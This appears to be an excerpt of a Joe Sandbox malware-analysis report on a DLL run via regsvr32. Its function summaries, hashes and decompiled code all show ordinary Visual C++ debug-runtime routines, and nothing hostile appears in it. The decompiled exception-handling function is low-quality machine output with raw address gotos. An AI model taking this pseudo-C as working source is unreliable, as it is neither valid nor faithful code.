strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2B330
Expression: , xrefs: 000007FEF9D2B006
For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts., xrefs: 000007FEF9D2AF9D
Microsoft Visual C++ Debug Library, xrefs: 000007FEF9D2B344
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 000007FEF9D2B269
Line: , xrefs: 000007FEF9D2B08C

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$_invalid_parameter
String ID: For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts.$File: $Line: $Module: $(*_errno())$...$<program name unknown>$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Expression: $Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c$memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)$strcpy_s(szExeName, 260, "<program name unknown>")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$m*
API String ID: 2356156361-2279852085
Opcode ID: 2e784d19664e5a95b58b990f67b4737f05373876c1930d3c64995b1a0c69d3f2
Instruction ID: 4b7917f2e6131773ed7248c088fbaee50c31bf3d43f4cd1ee6c8c65be3a18826
Opcode Fuzzy Hash: 2e784d19664e5a95b58b990f67b4737f05373876c1930d3c64995b1a0c69d3f2
Instruction Fuzzy Hash: BCC1E77190DBC681EBB48B15E8803EEA3E1F389384F614126E6CD42BB9DB7ED155CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2CB4F Relevance: 38.7, APIs: 8, Strings: 14, Instructions: 174fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 000007FEF9D2CBF0
WriteFile.KERNEL32 ref: 000007FEF9D2CC8E

Strings

wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n"), xrefs: 000007FEF9D2CE95
wcscpy_s(progname, progname_size, L"<program name unknown>"), xrefs: 000007FEF9D2CDA3
wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: "), xrefs: 000007FEF9D2CD2F
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\crt0msg.c, xrefs: 000007FEF9D2CD21, 000007FEF9D2CD95, 000007FEF9D2CE42, 000007FEF9D2CE87, 000007FEF9D2CECA
_, xrefs: 000007FEF9D2CE71
Runtime Error!Program: , xrefs: 000007FEF9D2CCF8
..., xrefs: 000007FEF9D2CE1A
<program name unknown>, xrefs: 000007FEF9D2CD68
_NMSG_WRITE, xrefs: 000007FEF9D2CD28, 000007FEF9D2CD9C, 000007FEF9D2CE49, 000007FEF9D2CE8E, 000007FEF9D2CED1
2H, xrefs: 000007FEF9D2CDB9
wcsncpy_s(pch, progname_size - (pch - progname), L"...", 3), xrefs: 000007FEF9D2CE50
0I, xrefs: 000007FEF9D2CD0B
Microsoft Visual C++ Runtime Library, xrefs: 000007FEF9D2CEEC
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text), xrefs: 000007FEF9D2CED8

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: FileHandleWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program: $_NMSG_WRITE$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\crt0msg.c$wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n")$wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text)$wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: ")$wcscpy_s(progname, progname_size, L"<program name unknown>")$wcsncpy_s(pch, progname_size - (pch - progname), L"...", 3)$_$0I$2H
API String ID: 3320372497-2837547082
Opcode ID: b64be2a8eca497eb38ff52dc13b3436bc691d1b4503f9f72973df8eece0bc5fb
Instruction ID: 0a9042e1a7d7c8a566278db251693fc707392c06de90b0eab8804e289765c981
Opcode Fuzzy Hash: b64be2a8eca497eb38ff52dc13b3436bc691d1b4503f9f72973df8eece0bc5fb
Instruction Fuzzy Hash: 4C910E31A1CA8685EBA0DB64E8543BE63E0F384784FA04126D6CD47AB9DF3FE545CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D312E3 Relevance: 35.1, APIs: 14, Strings: 6, Instructions: 102libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 000007FEF9D312EA
GetProcAddress.KERNEL32 ref: 000007FEF9D31310

Strings

MessageBoxW, xrefs: 000007FEF9D31304
GetProcessWindowStation, xrefs: 000007FEF9D313B3
USER32.DLL, xrefs: 000007FEF9D312E3
GetUserObjectInformationW, xrefs: 000007FEF9D31380
GetActiveWindow, xrefs: 000007FEF9D3133C
GetLastActivePopup, xrefs: 000007FEF9D3135E

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationW$MessageBoxW$USER32.DLL
API String ID: 2574300362-564504941
Opcode ID: fee43fc66515416ac0980d72625433c0e8db806945977869f613c1f5f8def98f
Instruction ID: 70a6d76ff3d3819b8955004bde04ce45998dc5e92ad36a3a08ed7dd3d00f33af
Opcode Fuzzy Hash: fee43fc66515416ac0980d72625433c0e8db806945977869f613c1f5f8def98f
Instruction Fuzzy Hash: F051A635A08A8286E7A09B19FC5476E73E4F784B51F609035DACE43A74DF7EE488CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D376C0 Relevance: 33.3, APIs: 22, Instructions: 322COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D37727
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3778E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D377C4
wcsncnt.LIBCMTD ref: 000007FEF9D37810
WideCharToMultiByte.KERNEL32 ref: 000007FEF9D3786A
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D378C0
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D37C69

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWidewcsncnt
String ID:
API String ID: 641786319-0
Opcode ID: dd68202ae9e70015e3243afc192c87c9af493ce1bfd3ef4005d4635320cae465
Instruction ID: 27f88887327b6a70fd6681a1572ed994cc0fbf2c3fc8410d15a0bdfd36c78ba8
Opcode Fuzzy Hash: dd68202ae9e70015e3243afc192c87c9af493ce1bfd3ef4005d4635320cae465
Instruction Fuzzy Hash: 7402F432A0CEC5C1D6A09B15E8903AEB7A0F7857A5F604226E6DD47BE9DF3ED445CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D340B0 Relevance: 31.8, APIs: 14, Strings: 4, Instructions: 341
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 20%

			E000007FE7FEF9D340B0(void* __ecx, void* __edi, void* __esi, void* __esp, void* __eflags, void* __rax, long long __rcx, long long __rdx, long long __r8, long long __r9, void* _a8, void* _a16, long long _a24, void* _a32, signed int* _a40, signed int _a48, signed int _a56, long long _a64) {
				long long _v24;
				long long _v32;
				char _v56;
				long long _v64;
				long long _v72;
				char _v80;
				void* _v88;
				void* _v96;
				intOrPtr _v104;
				void* _v112;
				intOrPtr _v120;
				void* _v128;
				char _v132;
				char _v136;
				long long _v144;
				signed int _v152;
				char _v160;
				signed char _v164;
				signed int _v168;
				char _v176;
				char _v184;
				long long _v192;
				signed char _v200;
				long long _v208;
				signed int _v216;
				signed int _v224;
				long long _v232;
				void* _t222;
				void* _t244;
				void* _t295;
				long long _t302;
				long long _t303;
				intOrPtr _t311;
				long long _t312;
				long long _t321;
				intOrPtr _t325;
				long long _t329;
				long long _t330;
				long long _t332;

				_t295 = __rax;
				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v164 = 0;
				_v152 = 0;
				_v168 = E000007FE7FEF9D33B40(_a40, _a32);
				E000007FE7FEF9D2E500(_a16, _a32, _a40,  &_v160);
				if (_v168 - E000007FE7FEF9D33C70(_t295, _a16, _a32, _a40) <= 0) goto 0xf9d34176;
				r9d = _v168;
				E000007FE7FEF9D33BD0(_t217,  &_v160, _a32, _a40);
				r9d = _v168;
				E000007FE7FEF9D33C00(_v168 - E000007FE7FEF9D33C70(_t295, _a16, _a32, _a40), _t295, _a16, _a32, _a40);
				goto 0xf9d34197;
				_v168 = E000007FE7FEF9D33C70(_t295, _a16, _a32, _a40);
				if (_v168 - 0xffffffff < 0) goto 0xf9d341b1;
				if (_v168 - _a40[1] >= 0) goto 0xf9d341b1;
				goto 0xf9d341b6;
				_t222 = E000007FE7FEF9D2CF80(_a40);
				if ( *_a8 != 0xe06d7363) goto 0xf9d34398;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 4) goto 0xf9d34398;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930520) goto 0xf9d34213;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930521) goto 0xf9d34213;
				if ( *((intOrPtr*)(_a8 + 0x20)) != 0x19930522) goto 0xf9d34398;
				_t302 = _a8;
				if ( *((long long*)(_t302 + 0x30)) != 0) goto 0xf9d34398;
				0xf9d24000();
				if ( *((long long*)(_t302 + 0xf0)) != 0) goto 0xf9d3423a;
				goto 0xf9d34862;
				0xf9d24000();
				_t303 =  *((intOrPtr*)(_t302 + 0xf0));
				_a8 = _t303;
				0xf9d24000();
				_a24 =  *((intOrPtr*)(_t303 + 0xf8));
				_v164 = 1;
				E000007FE7FEF9D2E6E0(_t222, _a8,  *((intOrPtr*)(_a8 + 0x38)));
				if (E000007FE7FEF9D3D2C0(1, _a8) == 0) goto 0xf9d34290;
				goto 0xf9d34295;
				E000007FE7FEF9D2CF80(_a8);
				if ( *_a8 != 0xe06d7363) goto 0xf9d342fa;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 4) goto 0xf9d342fa;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930520) goto 0xf9d342e6;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930521) goto 0xf9d342e6;
				if ( *((intOrPtr*)(_a8 + 0x20)) != 0x19930522) goto 0xf9d342fa;
				_t311 = _a8;
				if ( *((long long*)(_t311 + 0x30)) != 0) goto 0xf9d342fa;
				E000007FE7FEF9D2CF80(_t311);
				0xf9d24000();
				if ( *((long long*)(_t311 + 0x108)) == 0) goto 0xf9d34398;
				0xf9d24000();
				_t312 =  *((intOrPtr*)(_t311 + 0x108));
				_v144 = _t312;
				0xf9d24000();
				 *((long long*)(_t312 + 0x108)) = 0;
				if ((E000007FE7FEF9D35BB0(_t312, _a8, _v144) & 0x000000ff) == 0) goto 0xf9d34349;
				goto 0xf9d34398;
				if ((E000007FE7FEF9D35CC0(_v144) & 0x000000ff) == 0) goto 0xf9d34393;
				E000007FE7FEF9D35AB0(1, _a8);
				E000007FE7FEF9D34870( &_v56, "bad exception");
				E000007FE7FEF9D3D320(__edi, __esi, __esp,  &_v56, 0xf9d4a180);
				goto 0xf9d34398;
				E000007FE7FEF9D2CF50(_t312);
				if ( *_a8 != 0xe06d7363) goto 0xf9d347d9;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 4) goto 0xf9d347d9;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930520) goto 0xf9d343f5;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930521) goto 0xf9d343f5;
				if ( *((intOrPtr*)(_a8 + 0x20)) != 0x19930522) goto 0xf9d347d9;
				if (_a40[3] <= 0) goto 0xf9d3466c;
				_v216 = _a32;
				_v224 =  &_v132;
				_t321 =  &_v136;
				_v232 = _t321;
				r9d = _v168;
				r8d = _a56;
				E000007FE7FEF9D2EA30(_a16, _a40);
				_v128 = _t321;
				goto 0xf9d3447e;
				_v136 = _v136 + 1;
				_v128 = _v128 + 0x14;
				if (_v136 - _v132 >= 0) goto 0xf9d3466c;
				if ( *_v128 - _v168 > 0) goto 0xf9d344b3;
				_t325 = _v128;
				if (_v168 -  *((intOrPtr*)(_t325 + 4)) <= 0) goto 0xf9d344b5;
				goto 0xf9d3445a;
				E000007FE7FEF9D2E680( *((intOrPtr*)(_t325 + 4)), _t325);
				_v112 = _t325 +  *((intOrPtr*)(_v128 + 0x10));
				_v120 =  *((intOrPtr*)(_v128 + 0xc));
				_v120 = _v120 - 1;
				_t329 = _v112 + 0x14;
				_v112 = _t329;
				if (_v120 <= 0) goto 0xf9d34667;
				_t244 = E000007FE7FEF9D2E6A0(_v120 - 1, _t329);
				_t330 = _t329 +  *((intOrPtr*)( *((intOrPtr*)(_a8 + 0x30)) + 0xc)) + 4;
				_v96 = _t330;
				E000007FE7FEF9D2E6A0(_t244, _t330);
				_v104 =  *((intOrPtr*)(_t330 +  *((intOrPtr*)( *((intOrPtr*)(_a8 + 0x30)) + 0xc))));
				goto 0xf9d3457e;
				_v104 = _v104 - 1;
				_t332 = _v96 + 4;
				_v96 = _t332;
				if (_v104 <= 0) goto 0xf9d34662;
				E000007FE7FEF9D2E6A0(_v104 - 1, _t332);
				_v88 = _t332 +  *_v96;
				if (E000007FE7FEF9D34CD0(_v112, _v88,  *((intOrPtr*)(_a8 + 0x30))) != 0) goto 0xf9d345ce;
				goto 0xf9d3455a;
				_v152 = 1;
				_v176 = _a48 & 0x000000ff;
				_v184 = _v164 & 0x000000ff;
				_v192 = _a64;
				_v200 = _a56;
				_v208 = _v128;
				_v216 = _v88;
				_v224 = _v112;
				_v232 = _a40;
				E000007FE7FEF9D35180(__edi, __esi, __esp, E000007FE7FEF9D34CD0(_v112, _v88,  *((intOrPtr*)(_a8 + 0x30))), _a8, _a16, _a24, _a32);
				goto 0xf9d34667;
				goto 0xf9d3455a;
				goto L1;
				goto 0xf9d3445a;
				__eax = _v152 & 0x000000ff;
				__eflags = _v152 & 0x000000ff;
				if ((_v152 & 0x000000ff) != 0) goto 0xf9d347d7;
				__rax = _a40;
				__eax =  *_a40;
				__eax =  *_a40 & 0x1fffffff;
				__eflags = __eax - 0x19930521;
				if (__eax - 0x19930521 < 0) goto 0xf9d347d7;
				__rax = _a40;
				__eflags =  *(__rax + 0x20);
				if ( *(__rax + 0x20) == 0) goto 0xf9d346bf;
				__eax = E000007FE7FEF9D2E680(__eax, __rax);
				_a40 = _a40[8];
				_v32 = __rax;
				goto 0xf9d346cb;
				_v32 = 0;
				__eflags = _v32;
				if (_v32 == 0) goto 0xf9d347d7;
				__rax = _a40;
				__eflags =  *(__rax + 0x20);
				if ( *(__rax + 0x20) == 0) goto 0xf9d34706;
				__eax = E000007FE7FEF9D2E680(__eax, __rax);
				_a40 = _a40[8];
				__rax = __rax + _a40[8];
				_v24 = __rax;
				goto 0xf9d34712;
				_v24 = 0;
				__rdx = _v24;
				__rcx = _a8;
				E000007FE7FEF9D35BB0(__rax, _a8, _v24) = __al & 0x000000ff;
				__eflags = __al & 0x000000ff;
				if ((__al & 0x000000ff) != 0) goto 0xf9d347d7;
				__rax = _a16;
				_v64 = _a16;
				__r9 =  &_v80;
				__r8 = _a40;
				__rdx = _a32;
				__rcx = _a16;
				__eax = E000007FE7FEF9D2E500(_a16, _a32, _a40,  &_v80);
				_v64 = __rax;
				_v72 = 0;
				__eax = _a48 & 0x000000ff;
				_v200 = __al;
				__rax = _a32;
				_v208 = _a32;
				__rax = _a40;
				_v216 = _a40;
				_v224 = 0xffffffff;
				_v232 = 0;
				__r9 = _v64;
				__r8 = _a24;
				__rdx = _a8;
				__rcx = _a16;
				__eax = E000007FE7FEF9D2EDC0(__edi, __esi, __esp, _a16, _a8, _a24, _v64);
				goto 0xf9d3484c;
				__rax = _a40;
				__eflags =  *(__rax + 0xc);
				if ( *(__rax + 0xc) <= 0) goto 0xf9d3484c;
				__eax = _a48 & 0x000000ff;
				__eflags = _a48 & 0x000000ff;
				if ((_a48 & 0x000000ff) != 0) goto 0xf9d34847;
				__rax = _a64;
				_v208 = _a64;
				__eax = _a56;
				_v216 = _a56;
				__eax = _v168;
				_v224 = _v168;
				__rax = _a40;
				_v232 = _a40;
				__r9 = _a32;
				__r8 = _a24;
				__rdx = _a16;
				__rcx = _a8;
				__eax = E000007FE7FEF9D34960(__ecx, _a8, _a16, _a24, _a32);
				goto 0xf9d3484c;
				__eax = E000007FE7FEF9D2CF50(__rax);
				0xf9d24000();
				__eflags =  *((long long*)(__rax + 0x108));
				if ( *((long long*)(__rax + 0x108)) != 0) goto 0xf9d3485d;
				goto 0xf9d34862;
				return E000007FE7FEF9D2CF80(__rax);
			}

0x7fef9d340b0
0x7fef9d340b0
0x7fef9d340b5
0x7fef9d340ba
0x7fef9d340bf
0x7fef9d340cb
0x7fef9d340d0
0x7fef9d340ea
0x7fef9d3410b
0x7fef9d34131
0x7fef9d34133
0x7fef9d3414d
0x7fef9d34152
0x7fef9d3416f
0x7fef9d34174
0x7fef9d34193
0x7fef9d3419c
0x7fef9d341ad
0x7fef9d341af
0x7fef9d341b1
0x7fef9d341c4
0x7fef9d341d6
0x7fef9d341eb
0x7fef9d341fc
0x7fef9d3420d
0x7fef9d34213
0x7fef9d34220
0x7fef9d34226
0x7fef9d34233
0x7fef9d34235
0x7fef9d3423a
0x7fef9d3423f
0x7fef9d34246
0x7fef9d3424e
0x7fef9d3425a
0x7fef9d34262
0x7fef9d34273
0x7fef9d3428c
0x7fef9d3428e
0x7fef9d34290
0x7fef9d342a3
0x7fef9d342b1
0x7fef9d342c2
0x7fef9d342d3
0x7fef9d342e4
0x7fef9d342e6
0x7fef9d342f3
0x7fef9d342f5
0x7fef9d342fa
0x7fef9d34307
0x7fef9d3430d
0x7fef9d34312
0x7fef9d34319
0x7fef9d3431e
0x7fef9d34323
0x7fef9d34345
0x7fef9d34347
0x7fef9d34358
0x7fef9d34364
0x7fef9d34378
0x7fef9d3438c
0x7fef9d34391
0x7fef9d34393
0x7fef9d343a6
0x7fef9d343b8
0x7fef9d343cd
0x7fef9d343de
0x7fef9d343ef
0x7fef9d34401
0x7fef9d3440f
0x7fef9d3441c
0x7fef9d34421
0x7fef9d34429
0x7fef9d3442e
0x7fef9d34433
0x7fef9d3444b
0x7fef9d34450
0x7fef9d34458
0x7fef9d34463
0x7fef9d34476
0x7fef9d3448c
0x7fef9d344a0
0x7fef9d344a2
0x7fef9d344b1
0x7fef9d344b3
0x7fef9d344b5
0x7fef9d344c9
0x7fef9d344dc
0x7fef9d344ee
0x7fef9d344fd
0x7fef9d34501
0x7fef9d34511
0x7fef9d34517
0x7fef9d3452c
0x7fef9d34531
0x7fef9d34539
0x7fef9d34551
0x7fef9d34558
0x7fef9d34563
0x7fef9d34572
0x7fef9d34576
0x7fef9d34586
0x7fef9d3458c
0x7fef9d3459f
0x7fef9d345ca
0x7fef9d345cc
0x7fef9d345ce
0x7fef9d345db
0x7fef9d345e4
0x7fef9d345f0
0x7fef9d345fc
0x7fef9d34608
0x7fef9d34615
0x7fef9d34622
0x7fef9d3462f
0x7fef9d34654
0x7fef9d3465b
0x7fef9d3465d
0x7fef9d34662
0x7fef9d34667
0x7fef9d3466c
0x7fef9d34671
0x7fef9d34673
0x7fef9d34679
0x7fef9d34681
0x7fef9d34683
0x7fef9d34688
0x7fef9d3468d
0x7fef9d34693
0x7fef9d3469b
0x7fef9d3469f
0x7fef9d346a1
0x7fef9d346ae
0x7fef9d346b5
0x7fef9d346bd
0x7fef9d346bf
0x7fef9d346cb
0x7fef9d346d4
0x7fef9d346da
0x7fef9d346e2
0x7fef9d346e6
0x7fef9d346e8
0x7fef9d346f5
0x7fef9d346f9
0x7fef9d346fc
0x7fef9d34704
0x7fef9d34706
0x7fef9d34712
0x7fef9d3471a
0x7fef9d34727
0x7fef9d3472a
0x7fef9d3472c
0x7fef9d34732
0x7fef9d3473a
0x7fef9d34742
0x7fef9d3474a
0x7fef9d34752
0x7fef9d3475a
0x7fef9d34762
0x7fef9d34767
0x7fef9d3476f
0x7fef9d3477b
0x7fef9d34783
0x7fef9d34787
0x7fef9d3478f
0x7fef9d34794
0x7fef9d3479c
0x7fef9d347a1
0x7fef9d347a9
0x7fef9d347b2
0x7fef9d347ba
0x7fef9d347c2
0x7fef9d347ca
0x7fef9d347d2
0x7fef9d347d7
0x7fef9d347d9
0x7fef9d347e1
0x7fef9d347e5
0x7fef9d347e7
0x7fef9d347ef
0x7fef9d347f1
0x7fef9d347f3
0x7fef9d347fb
0x7fef9d34800
0x7fef9d34807
0x7fef9d3480b
0x7fef9d3480f
0x7fef9d34813
0x7fef9d3481b
0x7fef9d34820
0x7fef9d34828
0x7fef9d34830
0x7fef9d34838
0x7fef9d34840
0x7fef9d34845
0x7fef9d34847
0x7fef9d3484c
0x7fef9d34851
0x7fef9d34859
0x7fef9d3485b
0x7fef9d34869

APIs

__StateFromControlPc.LIBCMTD ref: 000007FEF9D340E5

Part of subcall function 000007FEF9D2E500: __StateFromControlPc.LIBCMTD ref: 000007FEF9D2E534
Part of subcall function 000007FEF9D2E500: RtlLookupFunctionEntry.KERNEL32 ref: 000007FEF9D2E5D2

__GetUnwindTryBlock.LIBCMTD ref: 000007FEF9D34128
__SetState.LIBCMTD ref: 000007FEF9D3414D
__SetUnwindTryBlock.LIBCMTD ref: 000007FEF9D3416F
__GetUnwindTryBlock.LIBCMTD ref: 000007FEF9D3418E
_inconsistency.LIBCMTD ref: 000007FEF9D341B1

Part of subcall function 000007FEF9D2CF80: DecodePointer.KERNEL32 ref: 000007FEF9D2CF8B
Part of subcall function 000007FEF9D2CF80: terminate.LIBCMTD ref: 000007FEF9D2CFA4

_SetThrowImageBase.LIBCMTD ref: 000007FEF9D34273
_ValidateRead.LIBCMTD ref: 000007FEF9D34285
_inconsistency.LIBCMTD ref: 000007FEF9D34290
_inconsistency.LIBCMTD ref: 000007FEF9D342F5

Part of subcall function 000007FEF9D35CC0: type_info::operator==.LIBCMTD ref: 000007FEF9D35D5F

std::bad_exception::bad_exception.LIBCMTD ref: 000007FEF9D34378

Part of subcall function 000007FEF9D34870: std::exception::exception.LIBCMTD ref: 000007FEF9D34888

Part of subcall function 000007FEF9D3D320: RaiseException.KERNEL32 ref: 000007FEF9D3D3CC

terminate.LIBCMTD ref: 000007FEF9D34393

Strings

bad exception, xrefs: 000007FEF9D34369
csm, xrefs: 000007FEF9D343A0
csm, xrefs: 000007FEF9D341BE
csm, xrefs: 000007FEF9D3429D

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: BlockStateUnwind_inconsistency$ControlFromterminate$BaseDecodeEntryExceptionFunctionImageLookupPointerRaiseReadThrowValidatestd::bad_exception::bad_exceptionstd::exception::exceptiontype_info::operator==
String ID: bad exception$csm$csm$csm
API String ID: 3498492519-820278400
Opcode ID: e25f8e0578bfe9456fb08d8cd94b15df4ac81620a0b1491193f50dcc2ec7c96e
Instruction ID: b93d13205fcb5bf4744c4f5868d42f2397ba004b3dd065f5f3bbc86f0087c528
Opcode Fuzzy Hash: e25f8e0578bfe9456fb08d8cd94b15df4ac81620a0b1491193f50dcc2ec7c96e
Instruction Fuzzy Hash: C412D436A0DBC585DAB19B15E8407EEB7A0F7C8791F604126DACD87BA9CB7DD440CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3B580 Relevance: 31.8, APIs: 11, Strings: 7, Instructions: 318COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B6A5
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B6BA
_invalid_parameter.LIBCMTD ref: 000007FEF9D3B87C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B891

Part of subcall function 000007FEF9D3AFB0: _invalid_parameter.LIBCMTD ref: 000007FEF9D3B046

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B944
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B959
_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E

Strings

(stream != NULL), xrefs: 000007FEF9D3B63E, 000007FEF9D3B69E
( (_Stream->_flag & _IOSTRG) || ( fn = _fileno(_Stream), ( (_textmode_safe(fn) == __IOINFO_TM_ANSI) && !_tm_unicode_safe(fn)))), xrefs: 000007FEF9D3B815, 000007FEF9D3B875
_output_s_l, xrefs: 000007FEF9D3B697, 000007FEF9D3B86E, 000007FEF9D3B936, 000007FEF9D3BAFB, 000007FEF9D3CD30
((state == ST_NORMAL) || (state == ST_TYPE)), xrefs: 000007FEF9D3CCD7, 000007FEF9D3CD37
(format != NULL), xrefs: 000007FEF9D3B8DD, 000007FEF9D3B93D
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3B653, 000007FEF9D3B690, 000007FEF9D3B82A, 000007FEF9D3B867, 000007FEF9D3B8F2, 000007FEF9D3B92F, 000007FEF9D3BAB7, 000007FEF9D3BAF4, 000007FEF9D3CCEC, 000007FEF9D3CD29

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$_invalid_parameter$UpdateUpdate::~_
